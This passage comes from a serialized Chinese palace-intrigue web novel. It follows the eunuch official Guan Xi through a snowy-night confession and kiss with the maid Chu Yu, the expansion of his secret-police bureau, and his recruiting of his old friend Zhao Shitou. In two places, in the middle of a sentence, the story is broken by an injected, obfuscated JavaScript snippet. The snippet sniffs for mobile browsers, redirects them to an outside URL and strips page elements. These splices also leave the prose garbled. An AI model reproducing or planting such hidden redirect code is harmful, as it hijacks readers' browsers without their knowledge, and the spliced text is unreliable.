关禧抬步,迈过了那道门槛。 贵平和刘栓下意识想跟上,关禧抬手,止住了他们,“你们在此等候。” “是。”两人躬身应道,退到宫门外的檐下阴影里,与承华宫原本的值守太监隔开一段距离,注视着风雪中那两盏摇晃的宫灯。 79.第 80 章 关禧随着楚玉,走进了承华宫。 门在身后合上,隔绝了大部分风雪的呼啸声。宫道上的积雪被扫到两旁,堆成矮矮的雪垄。 楚玉提着灯走在前面半步,背影投在雪地上,拉得忽长忽短。她引着关禧走向西侧一间供守夜太监宫女暂时歇脚的值房。 那里靠近宫墙,比别处更僻静些。 推开值房的门,里面没有生火,冷得像冰窖,只有一张旧桌子,两把椅子,一个炭盆是冷的。楚玉将灯笼挂在门边的钩子上,走到桌边,拿起火折子,引燃了炭盆里的银骨炭。橘红的火苗很快蹿起,带来微弱的热量,驱散了一小片寒冷。 她又从墙角一个旧橱里取出茶壶和两个粗瓷茶杯,茶壶里竟是备着热水的,想来是给值夜人用的。她沏了两杯茶,茶叶是最普通不过的陈茶梗子,热水冲下去,只有一点淡淡的颜色和微苦的气息。 其中一杯放在关禧面前的桌上,她自己捧着另一杯,在对面坐下。 整个过程,她都没有再看关禧,动作流畅,仿佛只是招待一个最寻常不过因风雪滞留的旧同僚。 关禧脱下厚重的披风,搭在椅背上,露出里面深青色的棉袍。他在椅子上坐下,双手握住那个粗瓷茶杯。 值房内一时只有炭火燃烧的噼啪声,和两人极轻的呼吸声。 茶水很烫,也很苦。关禧啜了一小口,任由那苦涩在舌尖蔓延。他抬起眼,看向对面的楚玉。 她正垂眸看着自己杯中的茶水,热气氤氲,模糊了她的眉眼。淡青色的衣领裹着她修长的脖颈,几缕碎发从简单的发髻中滑落,贴在颊边。火光在她脸上跳跃,让那惯常的冷清多了几分暖色的柔和,也照出了她眼下的淡淡青影。 “你近来可好?”关禧终于开口,声音低哑。 “劳提督记挂,一切如常。”楚玉回道,“娘娘也很好。”她将冯昭仪带了出来,划清了界限,也提醒着他此刻的身份与来意。 关禧扯了扯嘴角,想笑,却没笑出来,“如常便好。” 又是沉默。炭火毕剥作响。 “内缉事厂听说立起来了。”楚玉忽然说道,语气像是闲聊,又带着一丝不易察觉的探究,“周如意的事,宫里都传遍了。提督手段雷霆。” “陛下要肃清宫闱,不得不为。”关禧淡淡道,手指摩挲着粗糙的杯沿,“厂里也还在摸索。” “摸索?”楚玉重复,抬眼看他,“提督如今耳目灵通,宫里宫外,还有什么事情,是需要摸索的吗?” 她这话意有所指。 “耳目再灵,看到的也未必是全部真相。”关禧缓缓道,“譬如这宫中脉络,盘根错节,看似清晰,实则……牵一发,恐动全身。” 楚玉握着茶杯的手指收紧了一瞬。她听懂了。他是在说太后那张无处不在的网。 她垂下眼帘,看着杯中荡漾的茶水,良久,才极轻地说了一句:“既知牵一发而动全身,提督行事,更需慎之又慎。刀锋虽利,亦易折。” 这是在提醒他,也是在……关心? 关禧心中那点空洞的凉意,被炭火和这句几不可闻的话语,驱散了一丝丝。他看着她低垂的侧脸,灯光下,她的睫毛又长又密,在眼下投出浅浅的阴影。 “我明白。”他低声道,“多谢。” 楚玉没回应。 关禧也没有再开口。他就这样坐着,喝着那杯苦涩的粗茶,看着炭盆里明明灭灭的火光,看着对面那个沉静如水的女人。 窗外风雪呼啸,一窗之隔,里面是难得的宁静。 这一刻,他什么也不想去算计,什么权势斗争,太后皇帝,内缉事厂,都暂时被抛在了脑后。他只是贪婪地享受着这片刻偷来的安宁,和这一点点……属于关禧而非关提督的温度。 不知过了多久,楚玉杯中的茶已经凉透。 “雪势未减,提督公务在身,不宜久留。”她说。 这是送客了。 关禧手还维持着扶在桌沿的姿势,指尖用力,按着粗糙的木纹。楚玉以为他会像往常一样,迅速收敛所有外露的情绪,戴上那副恭谨的面具,起身告辞。 可他没动。 关禧就那么坐着,仰着脸看她。眼眶周围,染开一片薄薄的红,像是被炭火热气熏蒸出来,又像是从心底挣扎着蔓延上来的血气。连那双总是过于白皙的耳廓,也透着清晰的绯色,格外醒目。 楚玉的呼吸滞了一瞬。 她见过他在净身伤口溃烂时疼得发红的眼,见过他在西暖阁被欲望和羞耻煎熬时湿润泛红的眼,也见过他在御前应对时平静无波的眼。却从未见过此刻这样的,那层总是隔着属于关提督的冰壳,仿佛被这值房的炭火悄然融开了一道缝隙,露出底下某种更真实也更陌生的东西。 那不是算计,不是痛苦,不是情欲。是一种她从未在他脸上见过的…… 她移开目光,声音比刚才更平:“关提督在陛下面前,也是这般神态么?” 关禧像是被这句话刺了一下,眼睫快速颤动,那片红更明显了些。他立刻反驳,“当然不是。” 楚玉没接话。 短暂的沉默后,她开口,这次声音低了些:“提督可知道,你现在的眼神不太妥当。” 关禧怔住。 楚玉迎着他的目光,继续道:“像是把一些不该露出来的心思,明明白白写在脸上了。”她停顿了一下,在斟酌用词,最终还是选择了那个更直白,也留有余地的说法,“看着有些失礼。” 她以为他会像以往任何一次被点破什么时那样,迅速调整,或冷硬地否认,或巧妙地转移。 关禧却只是看着她,那片红从眼角耳际蔓延开来,快要染上脖颈。他喉结滚动了一下,承认了: “是。” 楚玉握着茶杯的手指,僵住了。粗瓷的冰凉透过指尖传来,她却觉得那凉意不及心底骤然掠过的一丝颤意。 关禧像是打开了某个闸口,声音低哑,语速有些快,像是怕自己后悔:“我是有些不该有的心思。看到你,就忍不住。” 他舔了舔有些干的嘴唇,目光落在她握着杯子的手上,又飞快移开,望向跳动的炭火,侧脸线条在光影里显得有些紧绷。 “我想……离你近些。不只是这样坐着……我想……或许能碰碰你的手,或者……更靠近些。”他说得艰难,词汇匮乏,甚至有些语无伦次,完全不像那个在御前对答如流,在厂中令人生畏的关提督。 “但我不行。”他又补了一句,抬眼看向楚玉,眼神里那片茫然渴切中,混杂着清晰的自我厌弃和不确定,“上次在西暖阁,那不一样。那是你要教我,是差事,是我必须学的。我知道该怎么做,哪怕再难堪。” “可现在不一样。我不知道如果我真那么做了,你会怎么想,我又算是什么。” 他越说越乱,眼神也飘忽起来,不敢再看楚玉,只死死盯着炭盆里明灭的火星。耳廓的红晕未曾褪去,因这番剖白的混乱言语,蔓延到了整个脖颈,没入深青色的棉袍领口。 值房里只剩下炭火燃烧的声音,和他压抑着略显急促的呼吸声。 楚玉坐在他对面,一动未动。她看着关禧,这个在她面前罕见地褪去所有盔甲,露出底下笨拙,不自信甚至慌乱的少年,那张总是过于精致而显得疏离的脸上,写满了真实的挣扎。 他说的“不行”,不是身体的不行,是身份,是处境,是那份被残酷现实和扭曲规则塑造出对自身情感和欲望的极度不确信。 他渴望靠近,又被关提督的身份和两人之间那道无形的鸿沟死死拦在原地。上一次的肌肤之亲,被定义成教导和差事,成了他唯一能理解和接受的模板。一旦脱离那个框架,面对自己真实萌生与差事无关的念想,他便不知所措,感到羞耻和惶恐。 楚玉的心,像是被什么东西轻轻攥了一下,不疼,却有些闷。她放下茶杯,瓷器与木桌相触,发出极轻的“磕”的一声。 放下茶杯后,她站了起来。 动作很缓,深青色的裙裾拂过椅面,她绕过那张简陋的木桌,一步步,朝着他走过来。 关禧的呼吸彻底停了,心跳擂鼓般撞击着耳膜,震得他眼前都有些发花。他看着她走近,看着她被炭火勾勒出朦胧轮廓的身影,越来越近,直到完全笼罩住他。他可以闻到她身上那股熟悉的冷香,混合着值房里炭火的味道。 楚玉在他面前站定,垂眸看了他片刻。那双总是古井无波的眼睛里,映着跳动的火光,也映着他通红的脸。 然后,她微微屈膝,分/开/腿,直接跨坐到了他的腿上。 关禧:“!!!” 他浑身一僵,像是被无形的电流狠狠贯穿。隔着两层的棉布,他能清晰感觉到她身体的重量,温度,以及那柔软真实的触感。这姿势太过亲密,太过憯越。他下意识地想向后躲,背脊已经抵在了坚硬的椅背上,退无可退。 楚玉并不在意他的僵硬和震惊。她坐稳了,还调整了一下姿势,让自己更舒服些,两人之间的距离因此贴得更近。 “你刚才说,想靠近些。”她说,声音比刚才更近,气息拂在他的唇上,没什么大的起伏,却像带着钩子,“像这样?” 关禧的脑子乱了。他张了张嘴,喉咙干得发不出声音,只能胡乱地点了下头,又飞快地摇头,自己都不知道想表达什么。绯红从他的耳根脖颈一路烧到了脸颊,那双漂亮的凤眼里盛满了不知所措,还有被这突如其来的亲密搅起的惊涛骇浪。 看着他这副全然失控的模样,楚玉眼底深处极快地掠过一丝什么,快得让人抓不住。 她伸出手,扶住了他的脸。 “关禧,”她叫他的名字,不再是“提督”,“看着我。你刚才说的那些心思,是真的喜欢我?不是因着旧日教导的惯性,不是因着在这深宫里只有我见过你最不堪的样子,是男人对女人的那种,想靠近,想触碰,想占有的喜欢?” 她的问话如此直接,直接到让关禧避无可避。她的目光锁住他的眼睛,不容许他有丝毫闪躲。 温香软玉在怀,鼻尖全是她的气息,脸颊上是她微凉的手指,视线被她全部占据。关禧的理智早就飞到了九霄云外,只剩下最原始的本能和被她逼问出的真心,他遵循着内心最深处的声音,哑着嗓子,磕磕绊绊地回答: “……是。真……真的。” 说完,他认命般地闭上了眼,又忍不住偷偷睁开一条缝,望着她的反应。 她逆着光,脸庞隐在阴影里,唯有那双眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156010|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,离得极近,近到他能在她深褐色的瞳仁里,看见自己的倒影。 楚玉听到这个回答,脸上没有什么惊喜或感动的神色,只是扶着他脸颊的手指,力道加重了些,指腹在他细腻的皮肤上摩挲了一下。 然后,她笑了笑。那笑容很淡,说不出的疲惫和自嘲。 “可是关禧,”她声音低了下去,像在对他说话,又像是在对自己说,“我不是什么好女人。我心里……一直有别人。” 关禧心头一沉。 楚玉迎着他的目光,一字一句,清晰无比地说了出来,亲手撕开一道从未示人的伤疤: “是娘娘。冯昭仪。我喜欢她,很久了。从我还不是青黛,只是她身边一个不起眼的小丫鬟时,就喜欢了。” 她停顿了一下,似乎在观察他的反应,又似乎在积攒继续说下去的勇气。 “她救我、教我、用我,把我变成今天这个样子。我知道我对她来说,可能只是一把好用的刀,一个知根知底、永远不会背叛的影子。可我没办法。她在我心里,早就扎了根,拔不掉了。这些年,我看着她在这宫里挣扎、算计,看着她把你……把你们这样的人,当作棋子送出去,心里会疼,也会觉得她残忍。可我更知道,如果她要我去死,我大概……也会心甘情愿。” “关禧,你看,”她嘴角那点自嘲的弧度加深了些,“我心里装着这样一个女人,一个你的旧主,一个把你当棋子用,也把我当工具用的人。我甚至……可能永远也走不出来。这样的我,你刚才说的喜欢,还作数吗?你……不介意吗?” 她把最不堪,最隐秘,也最无望的内心,血淋淋地摊开在他面前。这不是试探,更像是一种推开,或者是一种连她自己都未察觉对真实接纳的隐秘渴望。 关禧听完,脸上的红潮慢慢褪去了一些,他没有露出楚玉预想中的震惊,嫌恶或是被冒犯的怒意。 他就那样看着她,看了好一会儿,然后摇了摇头。 “我不介意。”他说。 这次轮到楚玉微微一怔。 关禧深吸了一口气,努力让自己混乱的思绪和心跳平复一些,好把话说得更清楚。他抬起手,有些犹豫,最终还是覆上了她扶在自己脸颊的手背。 他的手心滚烫,带着汗湿。 “我……我其实,早就看出来了。在承华宫的时候,你看她的眼神不一样。你为她做的一切,早就超出了普通主仆。还有那晚……在西暖阁,你教我那些的时候,有时候会走神,眼神空空的,我猜……你可能是想起了她,或者,在想她为什么要让你来做这件事。” “楚玉,我不傻。在这宫里,谁心里没点见不得光,求而不得的东西?你喜欢她,那是你的事,是你先遇见她的。我……我只是后来才遇到你的那个。我有什么资格去介意你以前心里装着谁?” “至于她把我当棋子……这宫里,谁不是棋子?你,我,甚至陛下,谁又能真的全然自主?至少,她当初挑中我,把我送到御前,阴差阳错,给了我如今这条未必更好、但至少是我自己握着刀的路。从这一点上,我甚至……不知道该恨她还是该谢她。” 他握紧了她的手,指尖用力。 “我喜欢你,楚玉。喜欢的是现在这个坐在我腿上,会对我冷脸,也会教我规矩,心里藏着秘密,手上可能也不干净,但会在雪夜给我倒一杯粗茶的你。喜欢你……就包括接受你的过去,接受你心里可能永远有一个角落属于别人。如果这让你觉得我不够在意,或者很可笑,那……我也没办法。” 他说完了,也耗尽了所有力气,有些忐忑地等着她的反应。值房里只剩下炭火偶尔的噼啪,和窗外风雪扑打窗棂的呜咽。 楚玉久久没有说话。 他说的每一个字,都像滚烫的烙铁,印在她冰封太久的心上,带来灼痛,也带来暖意。 这个她亲手塑造过,又渐渐脱离掌控的少年,此刻正用他滚烫的真心,试图从缝隙里挤进来,哪怕只有一点点。 终于,她叹了口气。 那叹息里,有释然,有无力,也有某种下定决心的决绝,她扶着他脸颊的手,移到了他的脑后,指尖插入他束得整齐的发间,用力。 然后,在关禧骤然睁大的眼睛注视下,她俯身,吻住了他的嘴唇。 关禧完全懵了,大脑一片空白。但身体的本能却先于意识做出了反应,他僵硬的手臂环上了她的腰,将她更紧地搂向自己,回应着这个突如其来的吻。 椅子发出轻微的摇晃声,炭火爆开一朵明亮的火花。 不知过了多久,直到两人都气喘吁吁,楚玉才稍稍退开些许,额头抵着他的额头,呼吸交织。她的脸颊也染上了薄红,眼神迷离,唇瓣水润鲜红。 “……傻子。”她低低地骂了一句。 关禧还没从那个吻里回过神来,只痴痴地望着她近在咫尺深褐色的眼,心跳如雷。 楚玉又看了他一会儿,忽然再次贴近,唇瓣贴着他的耳廓,用只有他能听到的声音,说了最后一句话,像是终于卸下了最后一层铠甲,露出了最柔软也最脆弱的要害: “关禧,别负我。在这宫里,我输不起第二次了。” 话音落下,她再次吻住了他,比刚才更深入,更缠绵。 80.第 82 章 次日,天光未明,雪势已歇,只余下满地刺目的银白和檐下冰凌冷冽的反光。 关禧醒得很早,或者说,一夜未眠。身下是乾元殿东厢房柔软厚实的锦褥,身上盖着暖和的丝绵被,可他却觉得四肢百骸里都透着空乏,昨夜那场风雪中的炽热,抽走了他一部分精气神。 楚玉最后那个平静到漠然的眼神,她唇边未拭净的水光,以及自己那不受控制的失控感……种种画面在脑中翻腾,挥之不去。羞耻困惑,一丝被撩拨后又骤然悬空的不满足,还有对两人关系走向的茫然,交织成一张细密的网,缠得他心头窒闷。 他睁开眼,望着帐顶繁复的云纹。 不能再想了。 这里是皇宫,是乾元殿,他是内缉事厂的提督太监关禧。昨夜种种,是风雪夜里一场不该发生的意外,是楚玉心血来潮的试探,或是她某种难以理解的宣泄。无论如何,都不能让它影响今日,影响正事。 起身,盥洗,更衣。 他换上了一套更为利落,便于行动的靛蓝色箭袖劲装,外罩玄色披风,腰悬绣春刀。镜中的身影挺拔冷峻,眉目间残留的一丝倦怠也被刻意挺直的背脊和微抿的唇角掩盖过去。 推开房门,寒风扑面。双喜和贵平早已候在门外,见他出来,连忙躬身。 “督主,早膳已备在值房。何掌班也在那边候着,说是有要事禀报。”双喜轻声道,眼神不敢乱瞟。 “嗯。”关禧应了一声,举步向东安门北走去。 内缉事厂的值房内,炭火燃得正旺,驱散了清晨的寒意。何璋果然等在那里,见他进来,起身行礼,脸上带着几分急切。 “督主,您来了。” “何事?”关禧在书案后坐下,端起桌上温热的粥碗,示意他直接说。 何璋压低声音:“两件事。第一,周如意那边,按陛下口谕,昨夜已处置了。是奴才亲自办的,干净利落,对外只说是急病暴毙。司礼监那边暂时没什么动静。” 关禧点了点头,周如意的死是必然,也是给各方的一个明确信号。他舀了一勺粥送入口中,温热顺滑,让他空乏的胃稍感慰藉,“另一件呢?” “另一件是关于年节筹备的盯梢。”何璋眉头皱了起来,从袖中取出一本薄薄的册子,“按照您的吩咐,这几日兄弟们分头盯着光禄寺、司设监、御用监几处的采买支领。表面账目看起来都规规矩矩,条陈清晰。可暗地里……水太深了。” 他翻开册子,指着上面用暗语记录的一些条目:“光禄寺采办御膳房用的辽东鹿尾、江南银鱼,账面价格比市价高出三成不止,且指定要从隆昌号、福顺记这几家皇商手里走货。司设监修缮宫灯帷幔的用工,账面记的是从京畿三大匠作行调人,实际却混进了不少来历不明、手艺粗糙的散工,工钱被那几个管事太监分吃了大半。御用监那边更麻烦,打造新年赏赐的金器玉器,用的金料成色、玉料品级,都与账面记载有出入,其中差价……怕是流入了某些人的私囊。” 何璋越说声音越低,额角见汗:“督主,这些还只是浮在水面上的冰山一角。涉及的门道太多,牵扯的人更杂。咱们人手本来就不够,盯梢的又都是生面孔,只能看到些皮毛。再往里探……恐怕容易打草惊蛇。而且,这几家皇商、匠作行背后,似乎都隐隐约约……指向某些惹不起的势力。” 关禧放下粥碗,用手帕擦了擦嘴角,脸上没什么表情。何璋说的情况,在他预料之中。年节油水丰厚,各方势力盘根错节,内缉事厂初立,想一下子挖出所有蛀虫,确实不现实,也太过危险。 皇帝要的,未必是立刻掀翻整个桌子。他要的是眼睛,是耳朵,是悬在这些蛀虫头顶的一把随时可能落下的刀。 “继续盯。不要深入,不要打听。只记录异常:哪些人频繁出入这几处衙门,哪些货物进出数量、时间与常规不符,哪些管事太监近日手头阔绰了,或者与不该来往的人接触了。记录要详实,但不必分析,更不必妄加揣测。” “我们的任务,是看,是听,是记录。至于判断和动手,那是陛下的事。明白吗?” 何璋恍然,点头:“奴才明白!只做眼睛和耳朵,不乱伸手,不乱说话。” “明白就好。”关禧站起身,走到窗边,望着窗外雪后初霁的天空,“还有,陛下拨给我们的二十几个人,不够。厂子要立起来,要真正发挥作用,需要更多人手,更可靠的人手。” “督主的意思是……” “本督会向陛下陈情,申请扩充厂役员额。但这人手,不能从二十四衙门现有的太监里抽调太多。一来容易混进眼线,二来积习难改。本督要亲自去挑,挑那些身家相对清白、脑子灵光、手脚勤快,最重要的是……肯听话、能吃苦的。” 何璋眼睛一亮:“督主莫非是想……去北苑杂役处,或者浣衣局、惜薪司这些地方?” 内缉事厂的厂址在东安门内北侧旧库房,本就靠近皇宫最北面的北苑园林区。那里集中了大量从事最低等,最辛苦杂役的太监宫女,处境艰难,往往也更渴望改变命运。从这些人里挑选,固然有出身低微,缺乏训练的缺点,但也相对干净,易于掌控,且一旦施恩,更容易培养忠诚。 关禧点了点头,没有否认。他确实想到了北苑杂役处。不仅仅是为了挑人,也为了小石头。 那个和他一同从上河村入宫,在净舍里互相搀扶度过最初恐怖日子,后来被分到惜薪司炭厂,又调到北苑做杂役的同乡小石头。昨夜纷乱思绪中,这个瘦小的身影也曾一闪而过。 如今内缉事厂需要人手,或许这也是一个机会。 “此事本督自有计较。你先去忙吧。盯梢的事情不能松,记录务必细致。另外,将厂内现有人员的表现,也整理一份给我。” “是,奴才告退。”何璋躬身退下。 关禧独自在值房内静立片刻,然后走到书案后,铺开纸笔,开始草拟呈给皇帝的奏陈。言辞恳切,条理清晰,既说明了内缉事厂目前人手不足,难以全面履行监察职责的困境,又提出了从底层杂役中择优选拔,加以训练补充的建议,并保证绝不会影响宫中正常运转,一切选拔训练费用皆可从内缉事厂密金中支取,不额外增加国库负担。 写罢,他仔细检查了一遍,用印封好。 “双喜。” “奴才在。” “将此奏陈,递送乾元殿孙副总管,请他转呈陛下。”关禧将封好的奏折递过去。 “是。”双喜双手接过,退了出去。 关禧知道,皇帝多半会同意。扩充内缉事厂,本就是题中应有之义。关键是如何选人,如何训练,如何让这支新力量真正成为他手中如臂使指的利器。 他走到内缉事厂的庭院中。 雪后的阳光清冷,映照着内缉事厂那块崭新的木牌。厂内番役们正在贵平的指挥下进行着简单的队列和体能训练,动作还显生疏,但比起初建时的散漫,已多了几分规矩和精气神。深青色的罩甲,腰间的绣春刀,让这些原本卑微的身影,隐约透出一股不一样的肃杀之气。 关禧的目光缓缓扫过这些面孔。他们来自宫廷最底层,如今因缘际会,被聚拢在这面新立的旗帜下。未来是成为皇帝手中真正的鹰犬,还是在这权力漩涡中粉身碎骨,尚未可知。 而他,需要为他们,也为他自己,找到一条能活下去,能往上走的路。 * 午后,皇帝的批复下来了。 孙得禄亲自来的,脸上挂着恰到好处的笑容:“提督,陛下看了您的奏陈,准了。陛下口谕:内缉事厂初立,百事待举,扩充员额,确有必要。准尔从各司杂役、罪奴中,择优拣选五十人,充入厂役。一应选拔训练,由尔全权负责,所需钱粮器械,按先前所请,从密金支取。唯望尔秉公挑选,严加训导,勿负朕望。” “奴才领旨,谢陛下隆恩!”关禧躬身接旨。 圣谕交给他,孙得禄又凑近一步,低声道:“督主,陛下还让咱家带句话:年关将近,宫内外事务繁杂,厂卫的眼睛,要擦得更亮些。有些账……不急于一时算清,但心里,得有一本明白账。” 关禧心领神会:“请孙公公回禀陛下,奴才明白。定当恪尽职守,为陛下看好这份家业。” 孙得禄笑了笑,不再多言,拱手告辞。 圣谕在手,关禧心中一定。五十个名额,不算多,但也足够初步搭建起一个更有效率的班底了。接下来,就是如何挑选这五十人。 他没有大张旗鼓地去各司要人。那样做动静太大,容易引人注目,也容易让各司将一些刺头或眼线塞进来。 他决定,先从北苑杂役处开始。那里人员相对集中,环境封闭,便于观察,而且他也存了私心,想看看小石头如今究竟如何了。 次日,关禧只带了何璋和两名看起来最沉稳干练的番役,换上了便于行动的便服,朝着北苑方向走去。 雪后的北苑,比平日更显荒凉萧瑟。太液池结了厚厚的冰,一片死寂。园林里的亭台楼阁覆盖着白雪,少有人迹。只有几排低矮的瓦房区域,冒着些许炊烟,显示着这里还有人活动。 这里聚集了宫中大部分负责园林养护,清理,搬运等粗重活计的杂役太监。他们穿着臃肿破旧的棉袄,在寒风中瑟缩着劳作,脸上多是麻木。 关禧几人的到来,引起了注意。他们虽然衣着普通,但气质迥异,尤其是关禧,即便掩去了绯红蟒袍和提督威仪,那份过于出色的容貌和冷冽的气场,与周遭环境格格不入。 负责管理这片杂役处的一个老太监闻讯赶来,看到关禧,先是一愣,待看清他腰间隐约露出的内官监腰牌和何璋等人不经意间流露出的精干气息,他浑浊的眼睛里闪过一丝惊疑,堆起笑脸迎上来。 “这位公公面生,不知是哪个衙门的贵人?驾临这腌臜地方,有何吩咐?” 关禧淡淡看了他一眼:“内官监,例行巡查。看看这边杂役人手、冬日活计安排可还妥当。” 老太监一听是内官监的,不敢怠慢,虽然内官监一般不管具体杂役调配,但毕竟是二十四衙门之一,掌印太监更是眼前这位关提督,他连忙躬身:“劳公公费心,一切都好,一切都好。奴才们都是本分干活,不敢偷懒。” 关禧不置可否,目光扫过远处那些在寒风中劳作的瘦小身影,“带本……带我四处看看。另外,把你们这儿的花名册拿来。” “是,是!”老太监不敢多问,引着关禧几人,在杂役处转悠起来,一边走,一边示意手下小太监去取名册。 关禧看似随意地走着,目光却锐利地扫过沿途遇到的每一个杂役太监。他观察他们的动作是否利落,神情是否麻木中有没有一丝不甘或机灵,身体是否相对强健,在老太监呵斥时,他们的反应是逆来顺受,还是眼底会闪过隐忍或别的情绪。 同时,他也在寻找那个记忆中瘦小的身影,小石头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167824|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>转过一片堆放枯枝败叶的空地,前方是一排更破旧的瓦房,几个太监正费力地将冻硬的泥土敲碎,运到远处。其中一个身影格外瘦小,裹在破旧棉袄里,正用一把铁锹,艰难地撬动着一块冻土。他低着头,帽子压得很低,看不清脸,只有一截瘦得皮包骨的手腕露在外面。 关禧的脚步一顿。 那老太监察言观色,以为这位内官监的公公嫌这边脏乱,解释道:“公公,这边是专管清理园子冻土废料的,都是些最笨最没眼力见的……” 就在这时,那个瘦小的太监似乎力气用尽,脚下一滑,连人带铁锹向后跌倒,摔在泥地上。旁边的太监有的发出嗤笑,有的漠然无视。瘦小太监挣扎着想要爬起来,却因为棉袄太过臃肿笨拙,试了几次都没成功,反而蹭得满身泥雪,看起来狼狈不堪。 老太监脸上挂不住,正要开口骂人。 关禧迈步,走了过去,在那瘦小太监面前停下,低头看着他。 摔倒的太监被吓住了,趴在地上不敢动。 关禧蹲下身,伸出手,用指尖挑开了他几乎遮住整张脸的破旧毡帽帽檐。 一张冻得青紫,沾着泥污的脸露了出来。眼睛很大,却因为长期营养不良和惊恐而显得空洞无神,颧骨高高凸起,嘴唇干裂脱皮。不是关禧记忆中那个眼神清亮的小石头,但这张脸上依稀还能找到几分那个孩子的轮廓,只是被苦难磨蚀得变了形。 尤其是他嘴唇下,那一颗小小的淡褐色痣。关禧记得,小石头那里也有一颗。 地上的太监下意识地抬眼,就在目光触及关禧面容的刹那,他整个人一颤,那双空洞的眼睛里骤然闪过极度的震惊,立刻死死垂下了头,比先前垂得更低,几乎要埋进胸口,瘦削的肩膀无法控制地发抖。 “叫什么名字?”关禧问。 地上的太监像是被这声音烫到,蜷缩得更紧,过了好一会儿,才发出细若蚊蚋的回答:“……奴、奴才……赵石头。” 赵石头。小石头的本名。 “赵石头。”关禧重复了一遍这个名字,目光在他那颤抖又强行压抑的肩膀上停留了片刻,然后收回手,站起身,“还能站起来吗?” 赵石头被这声点名唤回了些许神志,又陷入更深的惶恐。他手忙脚乱地想撑起身,手中的铁锹几次打滑,最终狼狈地爬了起来,全程死死低着头,不敢再看关禧一眼,只有那紧握铁锹,指节发白的手,泄露着他内心翻江倒海般的混乱。 旁边的老太监和其他杂役都屏息看着,只觉得这赵石头今日格外反常,怕是被这位突然到来的大太监吓破了胆。 关禧没再多看赵石头,转身对那老太监道:“名册呢?” “在这儿,在这儿!”一个小太监捧着本破旧的名册跑过来。 关禧接过,快速翻到记录北苑杂役的那几页。目光扫过赵石头这个名字后面的记录:河间府上河村人,永昌五年入宫,初分惜薪司炭厂,永昌五年秋因怠惰愚钝调北苑杂役处至今。记录旁还有简单的评语:木讷少言,手脚尚可,然性怯惫懒。 关禧合上名册,递还给老太监。 “这个人,”他用手指了指僵在原地垂着头的赵石头,“还有那边那个,”他又随意指了远处另一个看起来眼神相对灵活,刚才赵石头摔倒时想伸手扶一下又缩回去的年轻太监。 “你,还有你,” 他又点了两个看起来身体相对结实,干活时动作比较干脆的。 “这四个,我要带走。” 老太监愣住了,带走杂役?这不合规矩,杂役处的人都是登记在册,归内务府统一管理的,就算要调动,也得经过派办处的手续…… “公公,这恐怕不合……”老太监委婉提醒。 关禧看了他一眼,那眼神平静无波,却让老太监后面的话噎在了喉咙里。他想起了最近宫里关于内缉事厂,关于这位关提督的种种传闻。 “内官监有些特殊差事,需要些人手。”关禧冷声道,“手续后续自然会补上。人,我现在就要带走。有问题吗?” 老太监额角冒汗,连忙摇头:“没、没问题!公公需要,是他们的造化!你们几个,还愣着干什么?还不快谢过公公提拔!”他转向被点中的四人,厉声喝道。 另外三个被点中的太监如梦初醒,慌忙躬身。唯有赵石头,身体又是一颤,嘴唇嗫嚅着,发不出像样的谢恩声音,只能跟着深深弯下腰,姿态僵硬无比。 关禧不再多言,对何璋示意了一下。 何璋立刻上前,对那四人道:“跟上。” 关禧转身,朝着来路走去。 何璋和两名番役带着仍处于震惊和茫然中的几人紧随其后。 赵石头步履有些踉跄,他的目光死死盯着脚下污浊的雪地,不敢去看前方那个青色背影,耳边嗡嗡作响,心脏在胸腔里疯狂擂动。无数纷乱的念头和记忆碎片在脑中冲撞,是他?真的是他吗?他认出我了?为什么?他要带我去哪里?是福……还是祸? 那老太监看着他们离去的背影,擦了擦额头的冷汗,心里嘀咕:内官监的特殊差事?什么差事需要从杂役处挑人?还专挑赵石头这种看起来最没用的?这位关公公,行事果然让人捉摸不透。 而其他杂役太监,看着赵石头四人就这样被带走,眼神复杂,有羡慕,有嫉妒,更多的还是茫然和一丝说不清的恐惧。在这深宫最底层,任何一点变动,都可能意味着未知的命运。 81.第 83 章 一行人折返东安门北内缉事厂时,日头已西斜,余晖铺在雪上,镀出一层浅浅的金红。 厂内当值的番役见关禧带回四个衣衫褴褛的杂役太监,眼底俱是掠过一丝诧异,却无人敢多问,只垂首敛眉,恭敬行礼。 关禧未作停留,径直穿过重重门户,往深处行去。 何璋快步跟上,压低了声问:“督主,这四人……” 关禧步履不停,声音在寒风里显得冷淡:“带他们三个去安置,找几套干净的旧衣换上,给些热食。明日再分派差事。”他目光扫过赵石头,“他跟我走。” “是。”何璋应下,领着那三个惶惑不安的太监往厂役们集体居住的通铺方向去了。 关禧则带着赵石头,转了个弯,继续往皇宫更深处行去。 穿过乾元殿东侧长长的夹道,越往里去,人迹越少,宫墙也显得愈发高深。最终,他们在一处相对独立僻静的殿宇群前停下。这里林木掩映,积雪覆盖着飞檐斗拱,透着一股远离前朝喧嚣的沉静。一座不大的独立院落嵌在其中,门楣上的匾额空着,似是等待着主人赋予名号。这便是皇帝赐给关禧的居所,原是一位前朝太妃静养之所。 院门打开,双喜垂手立在门内,见到关禧,立刻躬身:“督主回来了。”他目光在赵石头身上掠过,未露半分异色。 “嗯。”关禧应了一声,踏入院子。 赵石头慌忙跟上,跨过门槛时,差点被那高高的门槛绊倒。 